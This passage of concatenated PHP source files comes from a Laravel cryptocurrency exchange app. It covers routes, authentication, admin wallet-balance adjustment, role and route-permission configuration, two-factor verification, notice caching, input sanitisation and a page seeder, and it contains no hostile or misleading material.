$this->hasMany(WalletWithdrawal::class, 'symbol', 'symbol'); } } <file_sep><?php use App\Http\Controllers\Exchange\CoinMarketController; use App\Http\Controllers\Exchange\ExchangeDashboardController; use App\Http\Controllers\Exchange\MyOpenOrderController; use App\Http\Controllers\Exchange\OrderController; use App\Http\Controllers\Exchange\UserTradesController; use App\Http\Controllers\Exchange\TradingHistoryController; use App\Http\Controllers\Exchange\WalletSummaryController; Route::get('get-coin-market/{baseCoin}', [CoinMarketController::class, 'getCoinMarket']) ->name('exchange.get-coin-market'); Route::get('get-orders', OrderController::class) ->name('exchange.get-orders'); Route::get('get-trade-histories', TradingHistoryController::class) ->name('exchange.get-trade-histories'); Route::group(['middleware' => ['auth', 'permission']], function () { Route::get('get-my-open-orders', MyOpenOrderController::class) ->name('exchange.get-my-open-orders'); Route::get('get-my-trades', UserTradesController::class) ->name('exchange.get-my-trades'); Route::get('get-wallet-summary', WalletSummaryController::class) ->name('exchange.get-wallet-summary'); }); Route::get('/{pair?}', [ExchangeDashboardController::class, 'index']) ->name('exchange.index')->middleware('menuable'); <file_sep><?php namespace App\Http\Controllers\Guest; use App\Http\Controllers\Controller; use App\Jobs\Wallet\GenerateUserWalletsJob; use Illuminate\Support\Facades\Cookie; use Illuminate\Support\Facades\Session; use App\Http\Requests\Core\{LoginRequest, NewPasswordRequest, PasswordResetRequest, RegisterRequest}; use App\Models\Core\User; use App\Services\Core\{AuthService, UserActivityService, UserService, VerificationService}; use Illuminate\Http\{RedirectResponse, Request}; use Illuminate\Support\Facades\Auth; use Illuminate\View\View; class AuthController extends Controller { protected $service; public function __construct(AuthService $service) { $this->service = $service; } public function loginForm(): View { return view('core.no_header_pages.login'); } public function login(LoginRequest $request): RedirectResponse { $response = $this->service->login($request); if (Auth::check()) { Cookie::queue(Cookie::forget('coinPair')); app(UserActivityService::class)->store(Auth::id(), 'login'); return redirect()->route(REDIRECT_ROUTE_TO_USER_AFTER_LOGIN)->with($response[RESPONSE_STATUS_KEY], $response[RESPONSE_MESSAGE_KEY]); } return redirect()->back()->with($response[RESPONSE_STATUS_KEY], $response[RESPONSE_MESSAGE_KEY]); } public function logout(): RedirectResponse { $userId = Auth::id(); Auth::logout(); app(UserActivityService::class)->store($userId, 'logout'); session()->flush(); return redirect()->route('login'); } public function register(): View { return view('core.no_header_pages.register'); } public function storeUser(RegisterRequest $request): RedirectResponse { $parameters = $request->only(['first_name', 'last_name', 'email', 'username', 'password', 'referral_id']); $response = app(UserService::class)->generate($parameters); if ( $response[RESPONSE_STATUS_KEY] ) { if (env('QUEUE_CONNECTION', 'sync') === 'sync') { GenerateUserWalletsJob::dispatchNow($response[RESPONSE_DATA]['user']); } else { GenerateUserWalletsJob::dispatch($response[RESPONSE_DATA]['user']); } app(VerificationService::class)->_sendEmailVerificationLink($response[RESPONSE_DATA]['user']); return redirect()->route('login')->with(RESPONSE_TYPE_SUCCESS, $response[RESPONSE_MESSAGE_KEY]); } return redirect()->back()->withInput()->with(RESPONSE_TYPE_ERROR, $response[RESPONSE_MESSAGE_KEY]); } public function forgetPassword(): View { return view('core.no_header_pages.forget_password'); } public function sendPasswordResetMail(PasswordResetRequest $request): RedirectResponse { $response = $this->service->sendPasswordResetMail($request); $status = $response[RESPONSE_STATUS_KEY] ? RESPONSE_TYPE_SUCCESS : RESPONSE_TYPE_ERROR; return redirect()->route('forget-password.index')->with($status, $response[RESPONSE_MESSAGE_KEY]); } public function resetPassword(Request $request, User $user): View { $data = $this->service->resetPassword($request, $user->id); return view('core.no_header_pages.reset_password', $data); } public function updatePassword(NewPasswordRequest $request, User $user): RedirectResponse { $response = $this->service->updatePassword($request, $user); if ($response[RESPONSE_STATUS_KEY]){ app(UserActivityService::class)->store($user->id, 'reset password'); return redirect()->route('login')->with(RESPONSE_TYPE_SUCCESS, $response[RESPONSE_MESSAGE_KEY]); } return redirect()->back()->with(RESPONSE_TYPE_ERROR, $response[RESPONSE_MESSAGE_KEY]); } } <file_sep><?php namespace App\Http\Controllers\Wallet; use App\Http\Controllers\Controller; use App\Http\Requests\Wallet\AdjustAmountRequest; use App\Models\Core\User; use App\Models\Wallet\Wallet; use App\Models\Core\Notification; use Exception; use Illuminate\Support\Facades\DB; use Illuminate\View\View; class AdjustAmountController extends Controller { public function create(User $user, Wallet $wallet): View { $data['title'] = __('Adjustment Wallet Amount: :wallet', ['wallet' => $wallet->symbol]); $data['wallet'] = $wallet; return view('wallets.admin.adjust_amount', $data); } public function store(AdjustAmountRequest $request, $user, Wallet $walletId) { $wallet = $walletId; if ($wallet->user_id != $user) { return redirect()->back()->with(RESPONSE_TYPE_WARNING, __('Failed to update the wallet balance for illegal wallet info.')); } $attributes = $this->_attributes($request); $beforeBalance = $wallet->primary_balance; if ($request->type == TRANSACTION_TYPE_BALANCE_DECREMENT && bccomp($beforeBalance, $request->amount) < 0) { return redirect()->back()->with(RESPONSE_TYPE_WARNING, __('Failed to update the wallet balance for illegal amount.')); } try { DB::beginTransaction(); if (!$wallet->update($attributes)) { throw new Exception(__('Failed to update the wallet balance.')); } // compare the balance with given amount to identify if it's decreased or increased Notification::create($this->_notificationAttributes($wallet, $request)); DB::commit(); return redirect()->back()->with(RESPONSE_TYPE_SUCCESS, __('The wallet balance has been updated successfully.')); } catch (Exception $exception) { DB::rollBack(); return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('Failed to update the wallet balance.')); } } public function _attributes($request): array { $attributes = ['primary_balance' => DB::raw('primary_balance + ' . $request->amount)]; if ($request->type == TRANSACTION_TYPE_BALANCE_DECREMENT) { $attributes = ['primary_balance' => DB::raw('primary_balance - ' . $request->amount)]; } return $attributes; } public function _notificationAttributes($wallet, $request): array { return [ 'user_id' => $wallet->user_id, 'message' => __("Your :currency wallet has been increased with :amount :currency by system.", [ 'amount' => $request->amount, 'currency' => $wallet->symbol ]), ]; } } <file_sep><?php namespace App\Broadcasts\Exchange; use Illuminate\Broadcasting\Channel; use Illuminate\Broadcasting\InteractsWithSockets; use Illuminate\Contracts\Broadcasting\ShouldBroadcastNow; use Illuminate\Foundation\Events\Dispatchable; use Illuminate\Queue\SerializesModels; class CancelOrderBroadcast implements ShouldBroadcastNow { use Dispatchable, InteractsWithSockets, SerializesModels; public $order; public $previousStatus; public function __construct($order, $previousStatus) { $this->order = $order; $this->previousStatus = $previousStatus; } public function broadcastOn() { return new Channel(get_channel_prefix() . 'order.' . $this->order->trade_pair); } public function broadcastWhen() { return $this->order->category !== ORDER_CATEGORY_MARKET; } public function broadcastAs() { return 'order.canceled'; } public function broadcastWith() { return [ 'category' => $this->order->category, 'type' => $this->order->type, 'previous_status' => $this->previousStatus, 'price' => $this->order->price, 'amount' => $this->order->canceled, 'total' => bcmul($this->order->price, $this->order->canceled), 'trade_pair' => $this->order->trade_pair, ]; } } <file_sep><?php use App\Models\Core\Role; use Illuminate\Database\Seeder; class RolesTableSeeder extends Seeder { /** * Run the database seeds. * * @return void * @throws Exception */ public function run() { $adminSection = [ "user_managements" => [ "reader_access", "creation_access", "modifier_access", "deletion_access" ], "notice_managements" => [ "reader_access", "creation_access", "modifier_access", "deletion_access" ], "language_managements" => [ "reader_access", "creation_access", "modifier_access", "deletion_access" ], "ticket_management" => [ "reader_access", "modifier_access", "commenting_access" ], "kyc_management" => [ "reader_access", "modifier_access" ], "system_bank_management" => [ "reader_access", "creation_access", "modifier_access" ], "post_category_management" => [ "reader_access", "creation_access", "modifier_access" ], "post_management" => [ "reader_access", "creation_access", "modifier_access", "deletion_access" ], "page_management" => [ "reader_access", "creation_access", "modifier_access", "deletion_access" ], "review_deposit_management" => [ "reader_access", "modifier_access", "deletion_access" ], "review_withdrawal_management" => [ "reader_access", "modifier_access" ], "wallet_management" => [ "reader_access" ] ]; $userSection = [ "tickets" => [ "reader_access", "creation_access", "closing_access", "commenting_access" ], "wallets" => [ "reader_access", "deposit_access", "withdrawal_access" ], "back_accounts" => [ "reader_access", "creation_access", "modifier_access", "deletion_access" ], "post_comments" => [ "creation_access" ], "order" => [ "reader_access", "creation_access", "deletion_access" ], "trading" => [ "reader_access" ], "referral" => [ "reader_access", "creation_access" ], "user_activity" => [ "reader_access" ], "transactions" => [ "reader_access" ], "exchange" => [ "reader_access" ], ]; $adminPermissions = [ "admin_section" => $adminSection, "user_section" => $userSection ]; factory(Role::class)->create([ 'name' => 'Admin', 'permissions' => $adminPermissions, 'accessible_routes' => build_permission($adminPermissions, 'admin'), 'is_active' => ACTIVE ]); $userPermissions = [ "user_section" => $userSection ]; factory(Role::class)->create([ 'name' => 'User', 'permissions' => $userPermissions, 'accessible_routes' => build_permission($userPermissions, 'user'), 'is_active' => ACTIVE ]); } } <file_sep><?php /** @var \Illuminate\Database\Eloquent\Factory $factory */ use App\Models\Post\Post; use Faker\Generator as Faker; $factory->define(Post::class, function (Faker $faker) { return [ 'title' => $faker->sentence(random_int(5,10)), 'content' => $faker->sentences(random_int(3,10), true), 'is_published' => $faker->boolean(80), 'is_featured' => $faker->boolean(10), ]; }); <file_sep><?php //Pagination Constants const PAGINATION_PAGE_NAME = 'p'; const PAGINATION_ITEM_PER_PAGE = 15; const PAGINATION_EACH_SIDE = 2; const TRADE_HISTORY_PER_PAGE = 50; const MY_OPEN_ORDER_PER_PAGE = 10; //Pre-defined roles const USER_ROLE_ADMIN = 'admin'; const USER_ROLE_USER = 'user'; //Response keys const RESPONSE_STATUS_KEY = 'status'; const RESPONSE_MESSAGE_KEY = 'message'; const RESPONSE_DATA = 'data'; //Response Types const RESPONSE_TYPE_SUCCESS = 'success'; const RESPONSE_TYPE_WARNING = 'warning'; const RESPONSE_TYPE_ERROR = 'error'; //Route Permission Constants const ROUTE_GROUP_READER_ACCESS = 'reader_access'; const ROUTE_GROUP_CREATION_ACCESS = 'creation_access'; const ROUTE_GROUP_MODIFIER_ACCESS = 'modifier_access'; const ROUTE_GROUP_DELETION_ACCESS = 'deletion_access'; const ROUTE_GROUP_FULL_ACCESS = 'full_access'; const ROUTE_TYPE_AVOIDABLE_MAINTENANCE = 'avoidable_maintenance_routes'; const ROUTE_TYPE_AVOIDABLE_UNVERIFIED = 'avoidable_unverified_routes'; const ROUTE_TYPE_AVOIDABLE_INACTIVE = 'avoidable_suspended_routes'; const ROUTE_TYPE_FINANCIAL = 'financial_routes'; const ROUTE_TYPE_GLOBAL = 'global_routes'; //Error Pages const ROUTE_REDIRECT_TO_UNAUTHORIZED = '401'; const ROUTE_REDIRECT_TO_UNDER_MAINTENANCE = 'under_maintenance'; const ROUTE_REDIRECT_TO_EMAIL_UNVERIFIED = 'email_unverified'; const ROUTE_REDIRECT_TO_ACCOUNT_SUSPENDED = 'account_suspended'; const ROUTE_REDIRECT_TO_FINANCIAL_ACCOUNT_SUSPENDED = 'financial_account_suspended'; const REDIRECT_ROUTE_TO_USER_AFTER_LOGIN = 'profile.index'; const REDIRECT_ROUTE_TO_LOGIN = 'login'; //Boolean Status const ACTIVE = 1; const INACTIVE = 0; const VERIFIED = 1; const UNVERIFIED = 0; const ENABLE = 1; const DISABLE = 0; //All Types Of Status const STATUS_INACTIVE = 'inactive'; const STATUS_ACTIVE = 'active'; const STATUS_DELETED = 'deleted'; const STATUS_COMPLETED = 'completed'; const STATUS_CANCELED = 'canceled'; const STATUS_CANCELING = 'canceling'; const STATUS_VERIFIED = 'verified'; const STATUS_UNVERIFIED = 'unverified'; const STATUS_REVIEWING = 'reviewing'; const STATUS_PENDING = 'pending'; const STATUS_DECLINED = 'declined'; const STATUS_WAITING = 'waiting'; const STATUS_EXPIRED = "expired"; const STATUS_FAILED = "failed"; const STATUS_OPEN = "open"; const STATUS_PROCESSING = "processing"; const STATUS_RESOLVED = "resolved"; const STATUS_CLOSED = "close"; const STATUS_EMAIL_SENT = "email_sent"; //System Notice Visible Types const NOTICE_VISIBLE_TYPE_PUBLIC = "public"; const NOTICE_VISIBLE_TYPE_PRIVATE = "private"; // currencies const COIN_TYPE_FIAT = "fiat"; const COIN_TYPE_CRYPTO = "crypto"; //APIs const API_COINPAYMENT = "CoinpaymentsApi"; const API_BITCOIN = "BitcoinForkedApi"; const API_BANK = "BankApi"; // KYC types const KYC_TYPE_PASSPORT = 'passport'; const KYC_TYPE_NID = 'national_id'; const KYC_TYPE_DRIVING_LICENSE = 'driving_license'; // Order types const ORDER_TYPE_BUY = 'buy'; const ORDER_TYPE_SELL = 'sell'; // Order categories const ORDER_CATEGORY_LIMIT = 'limit'; const ORDER_CATEGORY_MARKET = 'market'; const ORDER_CATEGORY_STOP_LIMIT = 'stop_limit'; //Fee types const FEE_TYPE_FIXED = 'fixed'; const FEE_TYPE_PERCENT = 'percent'; // Transaction fee const MINIMUM_TRANSACTION_FEE_CRYPTO = '0.00000001'; const MINIMUM_TRANSACTION_FEE_FIAT = '0.01'; const TRANSACTION_TYPE_BALANCE_INCREMENT = 1; const TRANSACTION_TYPE_BALANCE_DECREMENT = 2; //Transaction Type const TRANSACTION_DEPOSIT = 'deposit'; const TRANSACTION_WITHDRAWAL = 'withdrawal'; //coin icon slugs const COIN_ICON_EXTENSION = '.png'; const PRODUCT_VERIFIER_URL = 'https://verifier.codemen.org/api/product-verify'; <file_sep><?php namespace App\Services\Core; use App\Models\Ticket\Ticket; use Illuminate\Http\RedirectResponse; use Illuminate\Http\Request; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Storage; class TicketService { public function show(Ticket $ticket): array { $data['ticket'] = $ticket->load(['user.profile', 'comments.user.profile', 'assignedUser.profile']); $data['title'] = __('Ticket Details'); return $data; } public function comment(Request $request, Ticket $ticket): RedirectResponse { $request->validate(['content' => 'required']); $params = [ 'user_id' => Auth::id(), 'content' => $request->get('content') ]; if ($request->hasFile('attachment')) { $name = md5($ticket->id . auth()->id() . time()); $uploadedAttachment = app(FileUploadService::class)->upload($request->file('attachment'), config('commonconfig.ticket_attachment'), $name, '', '', 'public'); if ($uploadedAttachment) { $params['attachment'] = $uploadedAttachment; } } if ($ticket->comments()->create($params)) { return redirect() ->back() ->with(RESPONSE_TYPE_SUCCESS, __('The message has been created successfully')) ->send(); } return redirect() ->back() ->withInput() ->with(RESPONSE_TYPE_ERROR, __('Failed to create message.')) ->send(); } public function download(Ticket $ticket, string $fileName) { if ($ticket->comments()->where('attachment', $fileName)->first()) { $path = config('commonconfig.ticket_attachment') . $fileName; return Storage::disk('public')->download($path); } return Storage::download(null); } public function close(Ticket $ticket): RedirectResponse { if ($ticket->changeStatus(STATUS_CLOSED)) { return redirect() ->back() ->with(RESPONSE_TYPE_SUCCESS, __('The ticket has been closed successfully')) ->send(); } return redirect() ->back() ->with(RESPONSE_TYPE_ERROR, __('Failed to close the ticket.')) ->send(); } } <file_sep><?php namespace App\Models\Core; use App\Override\Eloquent\LaraframeModel as Model; use Illuminate\Database\Eloquent\Relations\BelongsTo; use Illuminate\Support\Str; class UserProfile extends Model { public $incrementing = false; protected $keyType = 'string'; protected $fillable = ['user_id', 'first_name', 'last_name', 'address', 'phone']; protected static function boot(): void { parent::boot(); static::creating(static function ($model) { $model->{$model->getKeyName()} = Str::uuid()->toString(); }); } public function getFullNameAttribute(): string { return $this->first_name . ' ' . $this->last_name; } public function user(): BelongsTo { return $this->belongsTo(User::class); } } <file_sep><?php namespace App\Http\Controllers\Orders; use App\Http\Controllers\Controller; use App\Models\Order\Order; use App\Services\Core\DataTableService; use Illuminate\Support\Facades\Auth; class UserOpenOrderController extends Controller { public function index() { $searchFields = [ ['id', __('Reference ID')], ['user_id', __('User')], ['price', __('Price')], ['amount', __('Amount')], ['trade_coin', __('Coin')], ['base_coin', __('Base Coin')], ['coin_pair', __('Coin Pair')], ]; $orderFields = [ ['price', __('Price')], ['amount', __('Amount')], ['coin_pair', __('Coin Pair')], ['created_at', __('Date')], ]; $filterFields = [ ['category', __('Category'), order_categories()], ['type', __('Type'), order_type()], ]; $data['title'] = __('My Orders'); $queryBuilder = Order::where('user_id', Auth::id()) ->where('status', STATUS_PENDING) ->orderBy('created_at', 'desc'); $data['dataTable'] = app(DataTableService::class) ->setSearchFields($searchFields) ->setOrderFields($orderFields) ->setFilterFields($filterFields) ->create($queryBuilder); return view('order.user.open_orders', $data); } } <file_sep><?php return [ 'configurable_routes' => [ 'admin_section' => [ 'application-settings' => [ ROUTE_GROUP_MODIFIER_ACCESS => [ 'application-settings.index', 'application-settings.edit', 'application-settings.update', ], ], 'role_managements' => [ ROUTE_GROUP_READER_ACCESS => [ 'roles.index', ], ROUTE_GROUP_CREATION_ACCESS => [ 'roles.create', 'roles.store', ], ROUTE_GROUP_MODIFIER_ACCESS => [ 'roles.edit', 'roles.update', 'roles.status', ], ROUTE_GROUP_DELETION_ACCESS => [ 'roles.destroy', ], ], 'user_managements' => [ ROUTE_GROUP_READER_ACCESS => [ 'admin.users.index', 'admin.users.show', 'user.trading-history', 'user.open.order', 'user.wallet.deposit-history', 'user.withdrawal-history', 'users.activities', ], ROUTE_GROUP_CREATION_ACCESS => [ 'admin.users.create', 'admin.users.store', 'user.wallets.adjust-amount.create', 'user.wallets.adjust-amount.store', ], ROUTE_GROUP_MODIFIER_ACCESS => [ 'admin.users.edit', 'admin.users.update', ], ROUTE_GROUP_DELETION_ACCESS => [ 'admin.users.update.status', 'admin.users.edit.status', ], ], 'notice_managements' => [ ROUTE_GROUP_READER_ACCESS => [ 'notices.index', 'notices.show' ], ROUTE_GROUP_CREATION_ACCESS => [ 'notices.create', 'notices.store' ], ROUTE_GROUP_MODIFIER_ACCESS => [ 'notices.edit', 'notices.update', ], ROUTE_GROUP_DELETION_ACCESS => [ 'notices.destroy', ] ], 'menu_manager' => [ ROUTE_GROUP_FULL_ACCESS => [ 'menu-manager.index', 'menu-manager.save', ], ], 'log_viewer' => [ ROUTE_GROUP_READER_ACCESS => [ 'logs.index' ] ], 'language_managements' => [ ROUTE_GROUP_READER_ACCESS => [ 'languages.index', 'languages.settings', 'languages.translations' ], ROUTE_GROUP_CREATION_ACCESS => [ 'languages.create', 'languages.store' ], ROUTE_GROUP_MODIFIER_ACCESS => [ 'languages.edit', 'languages.update', 'languages.update.settings', 'languages.sync', ], ROUTE_GROUP_DELETION_ACCESS => [ 'languages.destroy' ] ], 'ticket_management' => [ ROUTE_GROUP_READER_ACCESS => [ 'admin.tickets.index', 'admin.tickets.show', 'admin.tickets.attachment.download' ], ROUTE_GROUP_MODIFIER_ACCESS => [ 'admin.tickets.close', 'admin.tickets.resolve', 'admin.tickets.assign', ], 'commenting_access' => [ 'admin.tickets.comment.store', ] ], 'kyc_management' => [ ROUTE_GROUP_READER_ACCESS => [ 'kyc-management.index', 'kyc-management.show', ], ROUTE_GROUP_MODIFIER_ACCESS => [ 'kyc-management.decline', 'kyc-management.expired', ], ], 'system_bank_management' => [ ROUTE_GROUP_READER_ACCESS => [ 'system-banks.index' ], ROUTE_GROUP_CREATION_ACCESS => [ 'system-banks.create', 'system-banks.store', ], ROUTE_GROUP_MODIFIER_ACCESS => [ 'system-banks.toggle-status', ], ], 'coin_management' => [ ROUTE_GROUP_READER_ACCESS => [ 'coins.index', ], ROUTE_GROUP_CREATION_ACCESS => [ 'coins.create', 'coins.store', ], ROUTE_GROUP_MODIFIER_ACCESS => [ 'coins.edit', 'coins.update', 'coins.withdrawal.edit', 'coins.withdrawal.update', 'coins.exchange.edit', 'coins.deposit.update', 'coins.api.edit', 'coins.api.update', 'coins.icon.update', 'coins.toggle-status', 'coins.reset-addresses', ] ], 'coin_pair_management' => [ ROUTE_GROUP_READER_ACCESS => [ 'coin-pairs.index', 'coin-pairs.show', ], ROUTE_GROUP_CREATION_ACCESS => [ 'coin-pairs.create', 'coin-pairs.store', ], ROUTE_GROUP_MODIFIER_ACCESS => [ 'coin-pairs.edit', 'coin-pairs.update', 'coin-pairs.make-status-default', 'coin-pairs.toggle-status' ], ROUTE_GROUP_DELETION_ACCESS => [ 'coin-pairs.destroy', ] ], 'post_category_management' => [ ROUTE_GROUP_READER_ACCESS => [ 'post-categories.index' ], ROUTE_GROUP_CREATION_ACCESS => [ 'post-categories.create', 'post-categories.store', ], ROUTE_GROUP_MODIFIER_ACCESS => [ 'post-categories.edit', 'post-categories.update', 'post-categories.toggle-status', ] ], 'post_management' => [ ROUTE_GROUP_READER_ACCESS => [ 'posts.index', 'posts.show', ], ROUTE_GROUP_CREATION_ACCESS => [ 'posts.create', 'posts.store', ], ROUTE_GROUP_MODIFIER_ACCESS => [ 'posts.edit', 'posts.update', 'posts.toggle-status', ], ROUTE_GROUP_DELETION_ACCESS => [ 'posts.delete' ] ], 'page_management' => [ ROUTE_GROUP_READER_ACCESS => [ 'pages.index' ], ROUTE_GROUP_CREATION_ACCESS => [ 'pages.create', 'pages.store', ], ROUTE_GROUP_MODIFIER_ACCESS => [ 'pages.edit', 'pages.update', 'pages.toggle-status', ], ROUTE_GROUP_DELETION_ACCESS => [ 'pages.destroy' ] ], 'review_deposit_management' => [ ROUTE_GROUP_READER_ACCESS => [ 'admin.review.bank-deposits.index', 'admin.review.bank-deposits.show', ], ROUTE_GROUP_MODIFIER_ACCESS => [ 'admin.adjust.bank-deposits', 'admin.review.bank-deposits.update', ], ROUTE_GROUP_DELETION_ACCESS => [ 'admin.review.bank-deposits.destroy', ] ], 'review_withdrawal_management' => [ ROUTE_GROUP_READER_ACCESS => [ 'admin.review.withdrawals', 'admin.review.withdrawals.show', ], ROUTE_GROUP_MODIFIER_ACCESS => [ 'admin.review.withdrawals.update', 'admin.review.withdrawals.update', 'admin.review.withdrawals.destroy', ] ], 'wallet_management' => [ ROUTE_GROUP_READER_ACCESS => [ 'wallet-managements.index' ], ], ], 'user_section' => [ 'tickets' => [ ROUTE_GROUP_READER_ACCESS => [ 'tickets.index', 'tickets.show', 'tickets.attachment.download' ], ROUTE_GROUP_CREATION_ACCESS => [ 'tickets.create', 'tickets.store', ], 'closing_access' => [ 'tickets.close', ], 'commenting_access' => [ 'tickets.comment.store', ] ], 'wallets' => [ ROUTE_GROUP_READER_ACCESS => [ 'user.wallets.index', ], 'deposit_access' => [ 'user.wallets.deposits.index', 'user.wallets.deposits.show', 'user.wallets.deposits.update', 'user.wallets.deposits.destroy', 'user.wallets.deposits.create', 'user.wallets.deposits.store', ], 'withdrawal_access' => [ 'user.wallets.withdrawals.index', 'user.wallets.withdrawals.show', 'user.wallets.withdrawals.create', 'user.wallets.withdrawals.store', ], ], 'back_accounts' => [ ROUTE_GROUP_READER_ACCESS => [ 'bank-accounts.index' ], ROUTE_GROUP_CREATION_ACCESS => [ 'bank-accounts.create', 'bank-accounts.store', ], ROUTE_GROUP_MODIFIER_ACCESS => [ 'bank-accounts.edit', 'bank-accounts.update', 'bank-accounts.toggle-status', ], ROUTE_GROUP_DELETION_ACCESS => [ 'bank-accounts.destroy', ], ], 'post_comments' => [ ROUTE_GROUP_CREATION_ACCESS => [ 'posts.comment', 'posts.comment.reply', ] ], 'order' => [ ROUTE_GROUP_READER_ACCESS => [ 'user.open.order', 'order.index' ], ROUTE_GROUP_CREATION_ACCESS => [ 'user.order.store', ], ROUTE_GROUP_DELETION_ACCESS => [ 'user.order.destroy', ] ], 'trading' => [ ROUTE_GROUP_READER_ACCESS => [ 'my-trade-history' ], ], 'referral' => [ ROUTE_GROUP_READER_ACCESS => [ 'referral.users', 'referral.users.earnings', 'referral.earnings' ], ROUTE_GROUP_CREATION_ACCESS => [ 'referral.link.show', ], ], 'user_activity' => [ ROUTE_GROUP_READER_ACCESS => [ 'my-activities.index' ] ], 'transactions' => [ ROUTE_GROUP_READER_ACCESS => [ 'my.recent-transactions' ] ], 'exchange' => [ ROUTE_GROUP_READER_ACCESS => [ 'exchange.get-my-open-orders', 'exchange.get-my-trades', 'exchange.get-wallet-summary' ] ], ], ], 'role_based_routes' => [ USER_ROLE_USER => [ 'user.test' ] ], ROUTE_TYPE_AVOIDABLE_MAINTENANCE => [ 'login', ], ROUTE_TYPE_AVOIDABLE_UNVERIFIED => [ 'logout', 'profile.index', 'notifications.index', 'notifications.mark-as-read' ], ROUTE_TYPE_AVOIDABLE_INACTIVE => [ 'logout', 'profile.index', 'notifications.index', 'notifications.mark-as-read', 'notifications.mark-as-unread', ], ROUTE_TYPE_FINANCIAL => [ ], ROUTE_TYPE_GLOBAL => [ 'logout', 'profile.index', 'profile.edit', 'profile.update', 'preference.index', 'preference.edit', 'preference.update', 'profile.change-password', 'profile.update-password', 'profile.avatar.update', 'profile.google-2fa.create', 'profile.google-2fa.store', 'profile.google-2fa.destroy', 'profile.google-2fa.verify', 'notifications.index', 'notifications.mark-as-read', 'notifications.mark-as-unread', 'kyc-verifications.index', 'kyc-verifications.store', ], ]; <file_sep><?php namespace App\Http\Controllers\GoogleTwoFactor; use App\Http\Controllers\Controller; use App\Http\Requests\User\Google2faRequest; use Exception; use Illuminate\Http\RedirectResponse; use Illuminate\Support\Facades\Auth; use PragmaRX\Google2FALaravel\Support\Authenticator; class VerifyGoogle2faController extends Controller { public function verify(Google2faRequest $request): RedirectResponse { $google2fa = app('pragmarx.google2fa'); try { if ($google2fa->verifyKey(Auth::user()->google2fa_secret, $request->google_app_code)) { $authenticator = app(Authenticator::class)->boot($request); $authenticator->login(); return redirect()->back()->with(RESPONSE_TYPE_SUCCESS, __("The One Time Password was correct.")); } return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('Failed to verify google authentication.')); } catch (Exception $exception) { return redirect()->back()->with(RESPONSE_TYPE_ERROR, __('Failed to verify google authentication.')); } } } <file_sep><?php namespace App\Models\Core; use App\Override\Eloquent\LaraframeModel as Model; use Carbon\Carbon; use Illuminate\Support\Facades\Cache; use Illuminate\Support\Str; class Notice extends Model { public $incrementing = false; protected $keyType = 'string'; protected $fillable = ['title', 'description', 'type', 'visible_type', 'start_at', 'end_at', 'is_active', 'created_by']; public static function boot() { parent::boot(); static::creating(static function ($model) { $model->{$model->getKeyName()} = Str::uuid(); }); static::created(function ($notice) { $notice = $notice->fresh(); $notices = Cache::get('notices', collect([])); if ($notice->is_active) { $notices->push($notice); } Cache::put('notices', $notices, $notice->created_at->diffInMinutes($notice->created_at->copy()->endOfDay())); }); static::updated(function ($notice) { $notices = Cache::get('notices', collect([])); $date = Carbon::now(); if ($notice->is_active && $notice->start_at <= $date && $notice->end_at >= $date) { if (!$notices->firstWhere('id', $notice->id)) { $notices->push($notice); Cache::put('notices', $notices, $date->diffInMinutes($date->copy()->endOfDay())); } } else { $notices = $notices->filter(function ($existNotice) use ($notice) { return $existNotice->id != $notice->id; }); Cache::put('notices', $notices, $date->diffInMinutes($date->copy()->endOfDay())); } }); } public function scopeToday($query) { $startDate = Carbon::now(); return $query->where(function ($q) use ($startDate) { $q->where('start_at', '<=', $startDate) ->where('end_at', '>=', $startDate); })->orWhere(function ($q) { $q->whereNull('start_at') ->whereNull('end_at'); }); } } <file_sep><?php namespace App\Http\Middleware; use Illuminate\Foundation\Http\Middleware\TransformsRequest; use Stevebauman\Purify\Facades\Purify; class StripTags extends TransformsRequest { /** * Transform the given value. * * @param string $key * @param mixed $value * @return mixed */ protected function transform($key, $value) { $stripTags = config('commonconfig.strip_tags'); if (in_array($key, $stripTags['escape_text'], true)) { return Purify::clean(strip_tags($value, $stripTags['allowed_tag_for_escape_text'])); } if (in_array($key, $stripTags['escape_full_text'], true)) { return Purify::clean(strip_tags($value, $stripTags['allowed_tag_for_escape_full_text'])); } return Purify::clean(strip_tags($value)); } } <file_sep><?php namespace App\Jobs\Wallet; use App\Models\Coin\Coin; use App\Models\Core\User; use Illuminate\Bus\Queueable; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; class GenerateUserWalletsJob implements ShouldQueue { use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; public $user; public function __construct(User $user) { $this->queue = 'default_long'; $this->connection = 'redis-long-running'; $this->user = $user; } public function handle(): void { $coins = Coin::all(); $walletInstances = []; foreach ($coins as $coin) { if ($this->user->is_super_admin == ACTIVE) { $walletInstances[] = [ 'symbol' => $coin->symbol, 'is_system_wallet' => ACTIVE, ]; } $walletInstances[] = [ 'symbol' => $coin->symbol, 'is_system_wallet' => INACTIVE, ]; } if (!empty($walletInstances)) { $this->user->wallets()->createMany($walletInstances); } } } <file_sep><?php use App\Models\Page\Page; use Illuminate\Database\Seeder; class PagesTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { $date = now(); $pages = [ [ 'slug' => 'about-us', 'title' => 'About Us', 'content' => '<h2>About Us</h2> <p> </p> <p>Founded in June of 2020, Trademen is a digital currency wallet and trading platform where users can trade and exchange crypto currencies like bitcoin,litecoin and many more.</p> <p>Vivamus faucibus blandit neque, a lobortis purus congue sed. Mauris dapibus mi in felis consectetur blandit. In pellentesque, magna id eleifend scelerisque, odio augue interdum ex, id mollis purus enim ac risus. Fusce dui sem, faucibus quis ligula quis, dictum fermentum mauris. Morbi eu est dolor. Maecenas bibendum a urna ut ultricies. Vivamus vulputate et leo eu imperdiet. Proin nec dui mi. Etiam euismod felis eu laoreet mattis. Nullam tempus lobortis eros at rhoncus. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Morbi vitae mauris ac mauris aliquam venenatis.</p> <p>In volutpat quam sit amet odio luctus aliquet. Vivamus ultricies ante lobortis metus maximus, at posuere ex blandit. Sed et lectus mollis, sagittis ex eget, malesuada lectus. Mauris placerat luctus tellus ac malesuada. In ipsum erat, egestas et dolor consectetur, pellentesque placerat nisi. Donec sodales ut lorem ac accumsan. Proin pulvinar tincidunt ex sed rhoncus. Aliquam pharetra erat at ante ultricies, in blandit justo iaculis. Aliquam tempor ac est ut sollicitudin.</p>', 'meta_description' 